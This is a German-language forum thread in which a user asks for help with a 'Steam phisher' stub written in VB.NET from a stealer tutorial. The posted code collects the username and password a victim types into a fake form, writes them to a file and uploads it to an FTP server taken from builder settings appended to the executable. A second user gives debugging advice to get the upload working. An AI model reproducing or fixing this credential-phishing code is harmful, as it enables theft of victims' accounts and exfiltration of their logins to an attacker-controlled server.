Stub Funktioniert nicht

[Naji]

Hallo,

ich bin gerade an einem kleinem Steam Phisher dran. Und habe das Stealer Tutorial von ThePapst dazu verwendet doch er uploadet einfach nicht den Log kann mir bitte jemand helfen hier der code von der stub. Es kommt immer Upload Ihrer Daten Fehlgeschlagen! und ich weiß einfach nicht warum. Bitte um Hilfe



Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Imports Microsoft.Win32


Public Class frmMain

Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click

File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "/StubKopie.exe")
Dim Einstellung As New VB6.FixedLengthString(100)
FileOpen(1, My.Application.Info.DirectoryPath & "/StubKopie.exe", OpenMode.Binary)
FileGet(1, Einstellung.Value, LOF(1) - 99)
FileClose(1)
Dim TrennZeichen As Char = "_"
Dim BuilderDaten As String() = Einstellung.Value.Split(TrennZeichen)
File.Delete(My.Application.Info.DirectoryPath & "/StubKopie.exe")

Call DokumentErstellen()

Try
My.Computer.Network.UploadFile("/User.txt", "ftp://" & BuilderDaten(0) & "/User.txt", BuilderDaten(1), BuilderDaten(2))
MessageBox.Show("Der Upload ihrer Daten war erfolgreich!")
Catch ex As System.Net.WebException
MessageBox.Show("Upload Ihrer Daten Fehlgeschlagen!")
End Try
End Sub


Private Sub DokumentErstellen()
Dim sw As New StreamWriter("User.txt")
sw.Write("Username: " & txtUsername.Text)
sw.Write(vbNewLine)
sw.Write("Password: " & txtPass.Text)
sw.Close()
End Sub

End Class

[krusty]

benutze lieber die alte vb6 splitfunktion, anstatt die .split methode.
split(Einstellung.Value,Trennzeichen)
eventuell gibts nen fehler im try catch block, den solltest du dir mal abfangen lassen:
MessageBox.Show("Upload Ihrer Daten Fehlgeschlagen! folgender fehler ist aufgetreten:" & ex.message)
dann weißt du schonmal genaueres über den fehler.
eventuell gibts hier nen Fehler:
My.Computer.Network.UploadFile("/User.txt",
du hast es oben so schön gemacht, mach es hier auch nochmal
My.Computer.Network.UploadFile(Application.Executa blePath & "/User.txt",
und dann am besten auch nochmal in der Documenterstellen sub
Dim sw As New StreamWriter(Application.ExecutablePath & "/User.txt")

Ich denke jedoch, dass die daten nicht richtig in die Stub geschrieben werden, bzw es fehler beim auslesen gibt.
überprüge das ganz einfach, indem du oben 3 msgboxen anzeigen lässt.

msgbox("Server: " & BuilderDaten(0))
msgbox("Username: " & BuilderDaten(1))
msgbox("Passwort: " & BuilderDaten(2))

falls du den quellcode nicht verstehen solltest, dann solltest du ihn dir nochmal genau erklären lassen, bzw genau anschauen, oder es ganz sein lassen.

[Naji]

Hi,

danke für deine schnelle hilfe.
Also daten werden alle richtig über geben ich denke mal das was mit dem upload nicht richtig war ich versuche es alles nochmal ein bisschen übersichtlicher zu machen